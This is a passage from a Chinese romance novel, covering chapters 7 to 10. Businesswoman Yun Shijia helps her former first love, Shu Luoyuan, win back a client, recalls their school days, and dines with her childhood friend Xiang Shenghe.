“舒总,请问、您、有、什么、条件。”她说得很慢,几乎一个一个字往外蹦。
“咳,云总,不跟你绕圈子了,你还记得那天掉下水的那个倒霉蛋吧?”
“记得,听尹总说了,是你们的合作经销方。”
“对,他因为此次意外,多少有些不高兴了,不过呢,他除了经销方之外,还有一个身份……”舒洛原把尾音拖得很长。
云诗加的耐心几乎耗尽了:“嗯,什么身份?”
“他是个园艺爱好者,就是云总你的专业呀,”他不装了,直抒来意,“你帮我拿回今年的订单,我就答应你的要求,怎么样?很划算吧?”
云诗加想都没想,“行,一言为定。”
舒洛原说完了正事儿,嗓音突然低沉下来,掐着点不着调的旖旎:“加加,我的人品你还不信么?”
云诗加翻了个白眼,“舒洛原,我怎么以前没发现,你怎么这么……”
她想说不要脸,但理智让她把话从嘴边咽了回去,最终吐出:“怎么这么……会做生意呢?”
“谢谢夸奖,”舒洛原大方收下她违心的夸赞,刚要再聊几句有的没的,听筒里传来挂断的忙音声。
舒洛原啧了一声,抬眼看向不远处坐在沙发上翘着腿的合伙人,不耐地催促道:“你怎么还在我办公室里,你自己没有办公室吗?”
尹奇睿不满地大声嚷嚷起来:“喂,老舒,不见你这样过河拆桥的吧?”
“你算哪条河?塘里的水质调控好了没?投喂饲料配比调好了没?还有坏掉的增氧机修好了没?公司这么多事儿不干,下属都找不到你,就知道在我这儿躲清闲。”
尹奇睿在他的质问声下多少有些心虚,但转念一想,又抬头挺胸地说:“不对,你不要转移话题,你就说我给你出的主意妙不妙吧?追女人你还是得学习我的办法,靠你的那点过时花样,肯定不够使。”
“我不用你出主意,你别想从我这里再骗走任何一样东西了。”舒洛原看穿他的心思,淡定说道。
“一毛不拔的铁公鸡!”尹奇睿跳了脚,“你留着这么多收藏做什么,存老婆本也得有老婆才有的使吧!你这老婆还遥遥无期呢。”
“你说什么?”舒洛原突然沉下脸,阴恻恻地杀过去一个眼神。
尹奇睿对他这位好友有时候还是莫名有些发怵的,他忙改口:“欸,不是不是,我说错了,你一定会抱得美人归的!”
见舒洛原恢复了往日的笑意,尹奇睿又起了贼心:“不过有一说一,老舒,我看你上次在香港拍下来的88青饼就不错,山崎55年的威士忌也还凑合,要不……”
“你要是闲着没事干,就去医院帮我盯着人,这件事情你要是办好了,我把88青饼拿来直接泡茶给你喝都行。”
尹奇睿的眼睛瞬间亮了起来,“得嘞!只要老舒您的前尘旧爱漏一根头发丝儿,我都保准第一时间通知你!”
舒洛原又扫过来一眼:“什么?”
尹奇睿忙装作打了一下自己的嘴巴,“呸呸,未来老婆!旧爱变新欢!行了不!”
他趁着舒洛原还没惩治他的油嘴滑舌之前,赶紧脚底抹油开溜了。
处理完公司的琐事,尹奇睿就为了自己的88青饼兴致勃勃往医院去了。
那位经销商负责人名叫谢如一,做完手术后已经从公立医院转到了条件更好的私立医院疗养。
尹奇睿刚到医院的国际住院部门口,就遇到了捧着一束鲜花的云诗加,她正在门口张望看楼层信息。
还真让他碰巧赶上了。
尹奇睿飞快在手机上敲信息,呼叫舒洛原赶紧来。
“云总,是在探望谢总的吗?我带你上去吧,在八楼。”
云诗加翻出舒洛原发来的信息对照楼层表,就听见有个略显熟悉的声音在耳边响起,抬头一看,是那日莫名其妙摆了她一道还浪费了她不少时间的尹总。
奇怪的是,这位尹总不像那天看起来那么不靠谱了,脸上堆满了笑意,谄媚几乎从娃娃脸上溢出来,让云诗加简直打了个寒颤,不知道他顶着张童叟无欺的脸到底想做什么伤天害理的事情。
她跟着尹奇睿到了谢如一的病房。
尹奇睿的态度过分的好,甚至可以说是有些诡异了,他轻轻敲门后推开门,还绅士地抬手示意女士先进。
云诗加狐疑地走进去,谢如一正看着窗外的景色发呆,见有人来了,便略整了整衣襟。
云诗加忙在脸上也堆起了笑容:“谢总,身体怎么样?我的工作正好路过这边,从舒总那边听说您转到这里来了,便顺道过来探望一下您。”
谢如一还没说话,尹奇睿就忙引荐:“谢总,这位就是那天帮忙的云总。”
云诗加见谢如一脸上浮现一丝尴尬,应该是不想去回忆那天狼狈的场景了,她偷偷踢了一下尹奇睿的鞋面,说:“呀,我看谢总的水杯空了。”
尹奇睿这次很快了然会意,起身拿起水杯去给谢如一倒了杯水。
谢如一道谢:“云总,那天多亏了你……”
“害,小事情,我不过是正好在那里工作,顺手而已。”云诗加不甚在意地说道,把手中带来的花束放在病人的床头,略整理了一下花束中间最艳丽的那朵的花瓣。
“哦,云总是做什么工作的……”谢如一的视线顺着云诗加的动作瞥过床头的花束,眼睛亮了亮,惊喜问道:“这是日本原生嘉兰百合吗?”
云诗加点了点头,“对,我们工作室正好在培育这个品种,之前有位客户很喜欢,我们引进了之后就花了些工夫在这个品种上。”
“莫非云总是做……”
“对,我是做园艺和古法造景的,刚创业不久,还请谢总多多关照啊!”她笑着把自己的名片双手递到谢如一的手里。
谢如一的笑容变得真诚了许多,“没想到现在还有年轻人愿意做这个行业,我爷爷年轻的时候就是苏城园林的造景规划师,他原想培养我也干这个,但我心思浮躁,静不下心来,只好做点小买卖,以前爷爷教我的东西可杂了,还包括爬树呢。”
“学这行确实需要花许多时间,也要吃些苦,主要现在古法造景的受众也越来越少了,只能做做景观设计赚些小钱,所以这条路不好走,您的选择是对的,不过话说回来,谢总您可不是什么小买卖啊……”云诗加笑眯眯的奉承他。
谢如一摆了摆手,“我这种继承家业的能有什么出息,不过是啃老本罢了,我还是佩服你们这种创一代,敢想敢干。”
云诗加见状,忙把今日的探访目的引进来:“您这一句话,可是把舒总也一起骂了,我从小就佩服你们这种有家世背景的人,不用像我这种泥腿子,从底层爬上来,多省力呐……”
虽然是商业互吹,但云诗加这话多少是带着真心的。
她在年少时,是真真切切地羡慕过那些家境富裕的人,其中包括了舒洛原。
在梅中度过的那半年,她多少从周围知晓了许多信息。
她讶异地发现,梅中的许多学生都在校外付费上一种另类的辅导课,类似于大学不同专业课程的微缩版,课程内容涵盖了综合大学才会开设的专业知识课,虽然只能涉猎一些最基础的概念,但作为大学选专业的预备课来说,已经足够了,这种辅导课还会请各大名校的教授和学生们来分享日常,为许多懵懂的高中生们推开了一扇扇窥探未来的窄窗。
她听见自己的道心破碎了。
原来不止有普通的补习班,还有这类开拓眼界的辅导班,更不用说梅中的许多同学们都多才多艺,连校园社团随便展示的花样都比青田中学精心准备的文艺汇演节目多。
那些她在闭塞象牙塔里精心编织的认知经纬,关于教育公平的神圣想象,在接触宏大的真实世界的这一瞬间,开始分崩离析。
每条纬线都曾认为只要获得了公平的权利,就可以成为赤道。<
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p>然而当天平另一端的现实展现在面前,这种认知体系的崩塌不亚于一场世界观海啸。
在某一段时间里,她甚至是有些恨这段曾经以为是幸运的际遇的。
在高三某次英语测验后,云诗加被叫到了英语老师的办公室里。
英语老师是一位年轻高挑的女性,打扮时髦,常常穿一身长裙,每天戴不重样的耳环,笑起来很亲切,跟学生们没什么距离感。
她的教学方式也很新颖,喜欢脱离课本,找各式各样的英语读本、报纸等读物,给学生们扩展英语词汇量、培养语感。
云诗加来到办公室时,英语老师正在批改作业,她拿着红笔勾勾画画,指着旁边的一把椅子说:“你先坐一下。”
改完这一面,她抬起头来,用很温和的语调问眼前的学生:“云诗加,你在英语方面有没有什么疑惑?”
她从抽屉里翻出了这次测验的成绩单,找到了云诗加的信息,数据显示,云诗加在理科方面都还不错,说不上是很突出的水准,但各科都在中上水平,语文也处于正常水平,唯独英语,在班级里排在末尾,大大拉低了总分,虽然云诗加是旁听生,但教育者的使命让她这个英语老师还是意识到责任重大。
“没关系,你不用紧张,有什么说什么,老师也尽量帮你解惑,我看了你的卷子,长篇阅读理解和听力题目上失分比较严重,只要针对薄弱项专门练习,一定能找到方式提高的。”英语老师循循善诱。
云诗加看向老师手里的表格,在之前的学校里,她自以为自己的英语不算太差,却没想到来了南城,她的英语成绩在班级是倒数的,她眨了眨眼睛里的酸涩,慢慢说道:“老师,我好像……在语感方面没有感觉。”
语感是一个很微妙的东西,语言学习很多时候并不像理科,有一个完全标准的答案,而更在乎一种感觉,在考试中能帮助做出快速精准的判断。
但语感是一张网,必须一个结一个结的连起来,不能有太大的破洞,才能网到鱼。
而这张网的基础,在过去的每一个学习阶段中,慢慢扎根捆绑起来,每个阶段的每个部分都是一个网上的结,哪怕缺了其中一两个环节,便没有那么牢不可催了。
回望之前的学习生涯,其实云诗加一直是一个努力的人,也是一个应试教育的得益者。
她过去掌握了一些考试的技巧,她习惯于对照着考试大纲一一复习重点,在青田中学,为了匹配大部分学生的学习能力,老师只会教授大纲上最基础简单的英语语法和单词量,大部分同学都只追求一个“差不多就行了”,她努力的学习态度真是无往不利,每次都能考第一。
但这种学习法让她缺少了这张大网上的几个结点,她在应付完考试之余,在实际应用中总显得有些吃力。
而这种微妙的、不易察觉的吃力感,在进入梅中旁听后,随着英语知识的突然加深加难,给了她一种断崖式的挫败感。
她一时之间不知道应该从哪里开始修补这张大网,也有点担忧,就算是补了,会不会是亡羊补牢。
英语老师真诚地引导她说出了症结所在,也帮她找到了学习方法,语感没法一下子补上来,但高考在即,老师只能建议她在每天走路时听英语原著小说的听力,培养语感,还给她推荐了两本针对她薄弱项的专项练习题集,让她拿回去做。
踏出办公室,在走廊的拐角,云诗加没有按照回教室的路线走,反而走向了教学楼后面的草坪,那是她第一次来梅中时偷听上课的窗口。
她蹲在墙角,抱着英语试卷,下巴埋在膝盖上无声地责怪自己。
“云诗加。”
她听见有人在叫她的名字,她抬头,看见他们高三一班的北窗开了半扇窗,舒洛原的头从窗口探出来,对她笑意盈盈。
下一秒,舒洛原就有如神兵天降般站在了她的面前。
他是从窗口跳出来的,他的手撑在窗台上,长腿一跃,就稳稳落在了草地上。
窗口随之传来几个同学的惊呼。
舒洛原把她从墙角拽了起来,静静望着她,然后用一种很淡很自然的语气说:“云诗加,你要不要吃冰淇淋?或者烤肠?”
“嗯?”云诗加歪着头不解,“现在吗?”
上课铃响起,教学楼的走廊上一时步履纷纷,又瞬间归于安静。
“要不要逃课,去吃东西。”他微微低着头,看着她的眼睛笑着说。
8. 008 老朋友
那一节是英语老师的课,用来讲刚考完的测验卷子的。
云诗加却和舒洛原又一次齐齐坐在便利店门口的台阶上。
冬天的南城很干燥,许久没有下过雨,风也逐渐冷了起来,落叶堆在路边,总是扫也扫不完。
他们看着街道上人来人往,车来车往,颇有些闲人的姿态。
“来吧,我给你讲讲卷子。”
舒洛原提议道。
云诗加啼笑皆非:“我们逃了英语老师的课出来,是为了在这里上你的英语课?”
舒洛原大言不惭:“说不定我比李老师讲得还好呢。”
从校门口跑出来时,云诗加手里还捧着刚从英语老师办公室里带出来的习题册和试卷,她把习题册垫在了试卷下面,舒洛原从裤袋里掏出一只红笔,开始在她的试卷上勾勾画画。
“这题我就不讲了,粗心,没注意过去式。”他在题干上画圈勾出了过去式的提示。
“这道题,是因为这个单词不认识吗?”他耐心地问。
“嗯,”云诗加点了点头,“我只能猜到大概可能是种工具?”
舒洛原在阅读理解题的文章里圈出了几处线索,“你把这几个单词联系在一起,可以猜出这个单词是什么意思了吗?”
云诗加对着几个单词思考了片刻,犹疑地说出猜测:“螺丝刀?”
“BIngo!”舒洛原含着笑竖起了大拇指,“孺子可教也。”
就这样,舒洛原针对她的错题,把整张卷子给她讲解了一遍,他的思路清晰,效率很高,冰淇淋还没完全化掉之前,卷子就讲完了。
把卷子折叠好夹在习题册里防折角,云诗加在冷冽的风里捋了捋自己鬓角的碎发,她感觉脖子后一阵温暖袭来。
她抬头,发现舒洛原把自己脖子上的围巾围到了她的脖子上,面对她的目光,他轻咳了一声,把视线投向街旁路过的几位徒步爱好者们身上,他们正背着行囊和登山杖往后街走,似乎在找什么餐厅。
舒洛原起身把冰淇淋包装扔进了垃圾桶里,弯腰问她,“要不要走走?”
“回教室吗?”她说。
“不,”舒洛原说,“就是纯粹地走走。”
走过学校门口的文具店,舒洛原突然出声说:“你知道吗,看夕阳也是一样美的。”
“什么?”
“就像刚刚那群徒步爱好者们一样,他们有年轻的,也有年老的,他们或许有人落后出发,有人提前到达,但只要他们想,终究可以爬上同一座山峰。”
舒洛原刻意把视线放在远方的道路尽头,而不是她的侧脸。
他接着说:“有些人不甘心做命运的承受者,不甘心走既定的路线,那就需要徒手攀爬山峰,但请她不要忘记,有的人是坐缆车上的山,有的人本就在半山腰上,而她不应当跟坐缆车的人比较,谁先看到山顶的日出。”
“她应当自豪才对,她是就算缆车停运也能爬上山峰的人,何况,即使看不到日出,那看夕阳也是一样美的。”
云诗加听懂了,她放慢了步速,转过头来想跟他说些什么,但嘴唇翕动,她又说不出什么来。
舒洛原指着道路的前方,“你看,”他说,“夕阳马上就要落下了。”
云诗加看向天边,道旁树的缝隙中,橘黄色的太阳正在往下掉,她依旧夹带着莫名的感伤。
舒洛原继续说:“但是明天还会升起。”
云诗加笑了笑,她说:“谢谢,但舒洛原,……”
舒洛原侧耳听她的下文,却见身旁的女孩长久没有说出来。
云诗加那天想说的是,舒洛原,你能不能别对我这么好,或者说,舒洛原,你对其他人也这么好吗?
但她没有说出口,没有泄露任何一丝心底的情愫,她最后说的是:“但舒洛原,你不知道,明天是个雨天。”
舒洛原愣了一下,然后哈哈大笑,他说,云诗加,你讲的笑话才是最冷的。
看着他笑的样子,她也跟着一起笑,一笑竟然停不下来,笑到精疲力尽、肚子酸痛才作罢,笑到太阳彻底落了山,笑到梅中的校门打开,涌出放学的人流。
云诗加要回教室取书包,舒洛原则在放学的车流里找到了自家司机,他上车后从车窗口朝着已经走远的云诗加挥了挥手,云诗加回了个微笑。
司机戴着白手套,将车窗缓缓关上。
云诗加边走边深深地呼吸,她没有漏掉任何关于他的细节,她不止一次见过舒洛原家的司机,从同学的谈论中听闻他家的背景,她也不止一次清醒地意识到——能和舒洛原做朋友,已经是一件幸事了,其他的,她不能够去想。
冷风吹过,她鼻子一痒,打了个喷嚏。
她又不得不承认,有些心脏的跳动与荷尔蒙的不安分,就像喷嚏一样,无法抑制,无法减轻,无法遮掩。
走到教室的座位时,她低头整理书包,才发现还围着他的围巾,如果习惯了温暖,便会觉得是自己的。
很久以后,云诗加还记得,那条围巾是橘黄与深蓝色交叉格子的图样。
橘黄是那日透过树叶缝隙的夕阳的颜色,深蓝色是太阳落山后她独自走在路上看见的天空的颜色。
橘黄是她的心动雀跃,深蓝色是她的郁郁少女心事。
后来她把那条围巾还了回去,一同还的还有那日雨天他借给她和妈妈的伞。
作为感谢,她还赠了一瓶贩卖机上的咖啡,卷在围巾里,等到舒洛原看到时还带着余温。
对于初恋的感觉,即便后来惨淡收场,云诗加还是愿意称之
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为美好的。
不过她没想到,横空冒出来的前任居然还会故技重施。
跟谢如一开心畅聊了一小时后,云诗加基本笃定,下次只要她邀约,帮舒洛原和谢如一组一个局,有她这个救命恩人当这个和事佬,她有八成把握谢如一应当不会拒绝继续与舒洛原公司合作。
从八楼下来,刚打开电梯门,云诗加就看见舒洛原的脸大刺刺出现在面前,他半倚在电梯门边,手里拎着一柄黑色长柄伞,他眉毛微微扬起。
“好巧,外面下雨了,云总,需要送伞服务吗?”见她从电梯里走出来,他提起雨伞在她面前晃了晃。
云诗加的嘴角微微抖动了一下,侧头看向身后的尹奇睿,见他得意的面部表情还没来得及收回,她突然更疑惑了。
……
这是唱的哪一出?
跟她搞什么回忆杀?
她早十年就见过这一招了,难道过了十年,多吃了这么多年米饭,她还能跳进同样的套路里被套牢吗?
今天正好被她妈耳提面命,约了好久没见的向笙和一起吃晚饭,她看了看手机屏幕上的时间,估计他也快到了。
“不用了,我有人接。”云诗加从舒洛原面前淡定走过,很果断地拒绝了。
舒洛原料定她还在生他的气,便亦步亦趋跟在后面,油嘴滑舌说:“欸,走慢点,我也是为了感谢你,要是帮我搞定了谢总,我给你送一百次伞都可……”
他的话突然凝结在嘴边。
因为他发现,云诗加不是在跟他开玩笑。
医院门口停着一辆骚包金色宾利,车上下来的男人格外眼熟。
舒洛原眯起眼睛,脸已经沉了下来。
他眼睁睁看着向笙和这个吊儿郎当的公子哥像挥之不去的苍蝇一样,盯着云诗加这块甜蛋糕就腆着脸来了。
向笙和在人群中逡巡,目光锁定了气质卓越的云诗加,上前几步,帮她拎过手中的皮包,替她开了车门,单手撑在车门上方,叮嘱道:“加加,小心碰头。”
关上车门,打算绕到另一边上车的向笙和才像刚看到那个脸色阴沉的男人似的,恍然大悟般露出惊讶的神情:“哎呦,莫不是我看走眼了吧?这不是舒洛原吗?你回国啦?”
舒洛原咬紧了牙关,勉强从喉咙口挤出一声“嗯”。
向笙和笑了笑,张开了手臂,作势要拥抱他。
舒洛原往旁边避让了一步,怒视问他:“向笙和,你要干嘛?!”
向笙和的主动拥抱被拒绝,他耸了耸肩,双手收回来插进裤袋里,倒也没觉得尴尬,反而真诚说了句:“欢迎你回来啊,好久不见了,我们也算是老朋友吧。”
舒洛原觉得这个人简直脑子有问题。
他倒是大度,谁会跟他是老朋友啊。
9. 009 一杯温水
咀嚼完最后一块牛排,云诗加放下刀叉,对着面前正在注视她的男人笑了笑。
“这又是哪位女伴给你推荐的餐厅?”她笑着问。
这是一间不错的餐厅,靠落地窗的位置可以俯瞰苏城的天际线,远处是黑白古朴的老城区,近处是灯光如星的高楼林立。
餐厅的钢琴演奏者正在弹奏一曲悠扬的不知名字的曲调,侍者也都西装革履。
一切都很好,唯独牛排,她觉得少了份火候,肉质不够紧实。
向笙和敛起了一分笑意,他半开玩笑的语气,“我不只有你一位女伴吗?”
“少来,”云诗加低头用餐巾掖了掖唇角,眼尾的警告飞过去,看见向笙和重新挂上一副常见的笑容,“我还不知道你吗?”
向笙和无奈地叹了口气,“我真改邪归正了,通讯录里除了客户之外一个女人都没有,哦还有我妈,你怎么不信呢……这家餐厅是我在网上找的,你们女生不都喜欢吃漂亮饭吗?你看这摆盘,这环境……”
云诗加没接话,忙了几天,她也有些疲惫,侧头看向窗外,落地窗上反射着西餐漂亮的盘子倒影,桌上的昏黄烛光影影绰绰。
倒影里还有对面投来的深情的目光。
云诗加不是不明白,向笙和算是她的青梅竹马,经济条件不错,知根知底,两方家庭也都撮合。
按照她妈云画的话来说,打着灯笼都找不到这么好的对象,何况他们从小就认识。
可她总觉得没劲。
她不喜欢将就。
向笙和从小就当着她的面谈恋爱,他长得一张桃花脸,恋爱事迹总是轰轰烈烈,她跟他同在一个学校,想不知道都难。
他小学时候就开始揪女生的辫子,初中逃课去隔壁学校蹲校花,高中好不容易被送去了寄宿学校,却为了找当时的女朋友半夜翻围墙扭伤了脚踝,还差点被学校记了处分,大学更是不用说,女朋友几乎每个月都不重样。
偏偏到了大学快毕业的时候,他不知从哪天开始,突然注意到身边还有一个没有染指过的女人,开始对着她献殷勤。
但他似乎忘记了,云诗加是从小见过他追女人的手段的,送花?送礼物?她不吃这一套。
后来他也不知道中了什么邪,开始转变攻势,时不时地到她妈云画那里去卖乖,一会儿说他为了她戒了烟,一会儿又说她工作太辛苦,要来接送她上下班。
她妈还真就吃这一套,耳提面命叫她对向笙和温柔一点,别老是不把自己当个女孩,工作之余还是要谈谈恋爱。
云诗加懒得争执,每次都把话题绕过去。
但说实话,云诗加好几次都差点妥协了。
一次是她前司的领导为难她,饭局给她灌了酒,是向笙和过来把她接走,还顺带送了领导一拳。
醉酒后的她情绪失控,哭得抽抽噎噎,觉得向笙和对她也算诚心,打领导的那一拳甚至称得上有点帅了,她出了口恶气,心情愉悦,几乎都要答应他的表白了。
但酒醒了她还是打电话骂了向笙和一顿,他想英雄救美是他的事,但他冲动打她领导的那一拳,最后是她倒贴了半个月工资赔礼道歉,还要提心吊胆领导继续变本加厉给她穿小鞋。
一次是她终于下定决心出来创业,向笙和默不作声给她卡上打了二十万,备注的赠与,她难免感动,但还是给他写了张欠条。
还有一次便是,她生了一次不大不小的病,在家休养,他没有嬉皮笑脸,认认真真和她妈轮班照顾了她几天。
她浑身无力躺在被窝里,看见暖黄的阳光照在他的脸上,向笙和的脸贴在她的水杯上在给她试水温,把水杯递给她的时候,他问她:“你还在想着他吗?”
云诗加当时愣了一下,高烧两天的脑子还没转过弯来,就听向笙和又一次认真地问她:“把他忘了吧,和我开始一段新的生活。”
她抿了一口温水,水温正好。
在那一刻,她几乎要沉溺在这种温情里,让向笙和以一个照顾者的身份,入驻她的感情生活。
向笙和对她来说就是一杯温水,她不排斥,也没那么喜欢,她不止一次拒绝他。
可他像一块牛皮糖似的,黏在她的生活里,他说,“那他们可以只做朋友,难道连做朋友的权力都没有吗?”
后来他又换了一个说辞,他说,“等你找到那个能够照顾你的人,我就放心离开,绝不打扰。”
云诗加拗不过他,便只能冷处理。
何况她还有求于他:“对了,上次你说的别墅项目,你帮我打听了吗?”
谈到正事,向笙和也正色道:“帮你打听了,那个新的别墅楼盘是绿木集团牵头开发的,你想做他们的生意恐怕难度不小,我只认识他们的项目总,可以帮你牵线一下,但具体拍板估计他也定不下来。”
“没事,我也只是想露露脸,毕竟是团队还不够成熟,就算只是认识一下,也是好的。”
云诗加并没有自夸自大,也不至于妄自菲薄,生意场上的利益划分通常不是在虚伪的酒局应酬,而在私底下的交情。
要打破固有的壁垒,必得有比他们过去稳固的关系更庞大的利益才是。
她举起酒杯,轻轻与向笙和的红酒杯相碰,她说,“不管怎么样,还是那句话,我得谢谢你。”
“你跟我,说什么谢。”向笙和也还是那句话,他笑得很妥帖。
“我想过了,等我把几个新项目平稳落地、有了一些收益以后,我把你借我的那二十万,算作你入股我的公司,当然,钱我还是会照旧还你的。”云诗加把早就准备好的打算说了出来。
向笙和没想到她的想法会这么公事公办,他愣了一下,很快说:“那笔钱本来就不是借给你的,我……”
“我知道,”云诗加打断了他,“情义归情义,利益归利益,亲兄弟还得明算账呢,你的好我记在心里,我也知道你不缺这三分薄利,但我对你的诚意也需要用一些方式体现,你能明白吗?”
向笙和苦笑,“行,我明白,跟我划清界限。”
“也不是这个意思,我们从小一起长大的,你帮我,我帮你,我们永远是朋友,怎么能划清界限呢?”
云诗加又举杯,敬了他一杯酒,年份不错的红酒抿过她的嘴唇,唇边洇着性感的红痕。
向笙和盯着她没说话,许久后回敬了一杯,他仰头将红色透明的液体倒入喉咙,喉结滚动,他听见她关心说:“喝慢点。”
他放下酒杯,示意侍者过来倒酒,然后试探性地问道:“对了,舒洛原什么时候回来的?”
云诗加怔愣,随后扯起嘴角,耸了耸肩,无所谓似的说道:“不知道,他又不是我的谁,没必要跟我说明他的动向,我们不过是偶遇碰上了,他帮我解决一个工作问题,我帮他搞定一个客户,很简单的交易。”
她把种种联系隐去,把一切都轻描淡写。
“哦,是这样。”向笙和也淡淡揭过,无意去触伤她的旧情。
吃过饭,向笙和提议去湖边走走消消食,顺带路过看一看那块新拍出去的别墅项目地块。
夜晚的湖边细雨蒙蒙,向笙和撑着一把墨蓝色大伞,走在她的身侧,伞身微微向她这边倾斜。
“你现在还怪绅士的。”云诗加打着哈哈,把胳膊抱在身前,避免与他的肢体接触。
向笙和敛目,神情恹恹,说:“你就这么讨厌我吗?”
她扭头看他,“什么?”
向笙和苦笑说:“也不用这么防备我,不过是同撑一把伞,我不会对你做什么。”
“不是,你想多了,我只是觉得到了晚上有点冷。”云诗加悻悻地把胳膊放下来,垂落的胳膊走动时难免摩擦到他的衣角。
“冷么?刚好我有些热了。”
向笙和把风衣脱下来,罩在她的肩头,她一时又有些后悔,找的理由也太仓促了。
“不是,不用,我……”
云诗加语无伦次,但又不好强硬拒绝,怕又伤害到他脆弱的玻璃心,想了想,还是穿上了他的风衣,薄款的米色风衣穿在她的身上有些过长,没走一段路,风衣的下摆就被飘洒进伞下的雨水润得潮湿了。
“那边就是那块工地。”
向笙和朝湖边一个方向指去,新拍出去的地块周边已经搭起了简易的蓝色围挡,第一批大型机械刚刚进场。
“嗯,看样子已经开工了,我查过,景观是DAC公司中的标。”云诗加说。
向笙和觉得耳熟,突然想到说:“那不是你之前工作的那家公司吗?”
“对啊,听说还是王刚平带队中的标呢。”
“靠,那厮……算了,我不说了,不然又被你骂。”
向笙和住了嘴,但云诗加却笑了笑,她说:“没事,我现在不怕他为难我了,你尽管骂,我不说你。”
向笙和说:“当初那一拳,我还是打轻了,没给他鼻梁打歪,实在是遗憾。”
云诗加扑哧笑了出来,“打歪了算轻伤,你得去坐牢,谁来捞你?”
“那你记得来给我送牢饭吃,听说里面的饭可难吃了。”向笙和一本正经地说。
云诗加笑得更大声了:“喂,开玩笑的
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,怎么会真让你去坐牢……”
向笙和看她笑得开心,他也笑着,喃喃道:“你要是每天都这么开心就好了。”
云诗加皱眉:“喂,我哪里有不开心,你总是说这种让人误会的话。”
“你总是把很多事情都背负在自己身上,身上的重量大了,肯定过得很不轻松,我都知道。”向笙和对她很了解,总是一针见血,把她一时说得无言。
说着,两人已经走到了工地的门口,往里张望,几个戴着安全帽的工人蹲在保安亭门口的屋檐下吃盒饭。
其中一个保安打着手电筒,强光照在他们脸上,云诗加用手遮挡了一下。
“你们干嘛的?”
向笙和从口袋里摸出两根烟递过去,笑着打听:“听说这里要建别墅啊?我们好奇来看看。”
保安接了烟,脸色缓和了些,狐疑地问道:“你们要买这个房子?”
“不是不是,我们哪有这个钱买这么好的房子呀,随便看看、随便看看的。”云诗加笑得随和,无形间拉近了距离。
“哦,这里不能进去的,我们领导吩咐过,你们只能在外面看看,不能打扰里边的施工作业。”保安点燃了一支香烟,吐出一缕烟雾,空调风把那缕烟往云诗加脸上吹来。
向笙和知道她对烟味敏感,把云诗加往后拉了一把,自己探头进了保安亭,说:“外面雨大起来了,我们借你的宝地躲躲雨,不介意吧?”
保安大叔看在两支烟的份上,对此没有意见:“这天气下雨下个没完,我们工地开工都有困难。”
“是啊,老天爷要下雨,咱们也没办法,这工地待遇怎么样?我有个叔叔,最近也在找工干呢……”
向笙和也不客气,直接坐在了里面保安休息的简易床边缘上,跟保安大叔东拉西扯,不一会儿就摸了个清楚。
保安无意识地托出:“咱们这工地待遇还行,就是附近吃的太贵了,一般工友都买不起盒饭,还有就是领导管得严,各条线的老板什么的,每周都过来检查,我们一点错都不能犯,这不,上周五,集团领导下来一看,说我们的防尘围挡做的不合规范,罚了好几个工头的钱……”
云诗加站在外边屋檐下,侧耳听着里面的交谈,她探头进去问:“哦?领导每周五都会过来吗?”
保安没觉得有什么不能透露的,哀怨说道:“是啊,还老是大晚上的过来视察,搞得我也苦恼,都不敢偷懒睡觉了。”
向笙和跟云诗加对视了一眼,借口说雨好像小一点了,便告辞离开了。
往回走的路上,云诗加不免兴奋地说:“那我下周五过来赌一把。”
向笙和问她:“你打算怎么办?”
“小区景观是DAC的标,但我仔细看了他们发布的信息,里面没提及样板房的布置,还有之后各个业主的院子,肯定也需要很多绿植,这都大有可为啊!如果我能做一部分,先不说赚钱的事儿,起码有个好的开始嘛。”
云诗加掰着手指头计算,向笙和失笑,觉得她钻进钱眼里的样子不仅不市侩,反而过分可爱了。
两人撑着伞绕过工地后头,步行到主路上,车流不息,向笙和虚虚搂着她的肩引导她走在人行道内侧。
经过一家便利店时,云诗加无意识地侧头看。
便利店靠街道的一侧开着两扇落地玻璃窗,窗前摆着几个吧台椅,其中两个椅子上坐着两个男人。
两个很眼熟的男人。
其中一个正好对上她的目光,立马站起身来,从便利店里迎了出来。
“好巧,云总,又见面了。”尹奇睿惊奇地说道,目光在她和向笙和之间来回梭巡。
“好巧,”云诗加也勾起嘴唇,“正好经过。”
尹奇睿:“这位是……?”
“向笙和。”云诗加不多做解释,又向向笙和介绍对方,“笙和,这位是尹总,是……舒总的合伙人。”
“哦……”向笙和了然地长呼了一声,主动伸出右手,“尹总,幸会幸会。”
尹奇睿伸手与他相握,也客气道:“向总,幸会,您也认识我们老舒?”
向笙和笑了笑,“认识的,老朋友。”
“老朋友?”
尹奇睿背后传来一声冷哼,他往后一瞧,老舒从便利店的强光中走出来,整张脸因为背光的缘故显得阴恻恻黑黝黝的。
舒洛原走到了向笙和的面前,就着远处路灯的微光盯着他脸上的波澜。
“我不过是去国外念了几年书,我怎么不知道,现在国内这么开放,流行和女朋友的前任做朋友了?”
10. 010 前尘往事
尹奇睿还想说些什么,被舒洛原拽着胳膊走了。
向笙和倒是体面,望着两人气冲冲的背影还来了句:“雨天路滑,慢点走。”
刚说完,尹奇睿就踩中一片被雨水打得湿滑的落叶,脚下没有防备,好在被舒洛原架着走,才没有摔跤。
目送两人远去,向笙和看了看黑蒙蒙的天,说:“好像不下雨了。”
他收起伞,往人行道外侧甩了甩。
“走吧。”云诗加收回目光,往餐厅下的大厦停车场走去。
向笙和跟在她后面,到了地下停车场,四下无人,他终于忍不住问:“女朋友?”
他的尾音上扬,带着藏不住的愉悦。
云诗加顿住,斜眼往后看他,“嗯哼?”
向笙和笑得诡异,“我算是明白了,我说那位怎么对我这么多敌意呢?合着我是你的一个幌子。”
云诗加走到他的骚包宾利面前,催促道:“快点解锁,我要上车,走得累死了。”
“等一下,我觉得还是先解释清楚比较好,”向笙和走到她面前,一只手抵在车门上。
“解释什么?”
“关于做我女朋友身份的……前尘往事。”向笙和笑得很促狭。
向笙和对舒洛原没有恶意的最大原因是,舒洛原对他算是有救命之恩。
梅中在除夕前终于放了假。
云诗加带着对父亲理不清的思绪,坐公交回了家,云画在厨房里忙活,云诗加看着妈妈的背影,眼睛里一时有些犯涩。
但云画没有察觉到女儿的情绪,“回来啦?向笙和刚刚来找过你。”
云诗加眨去眼睛里即将泛出的湿润,别过头去,佯装寻常,“那我去找他。”
她几乎是夺门而出。
向笙和的外婆家就在云诗加家的楼上,每个寒暑假,向笙和都会住在外婆家。
她上楼敲门,开门就是向笙和兴致冲冲的脸,“云诗加,听说你去梅中了?”
云诗加轻轻嗯了一声,“你找我干嘛?”
“没事就不能找你了?”向笙和反问。
“没事那我下楼了。”云诗加作势要走,被向笙和拉住了羽绒服的帽子。
“别扯我帽子!”云诗加回头拍掉了他的手。
“好好好,那你陪我去放烟花。”
云诗加:“……”
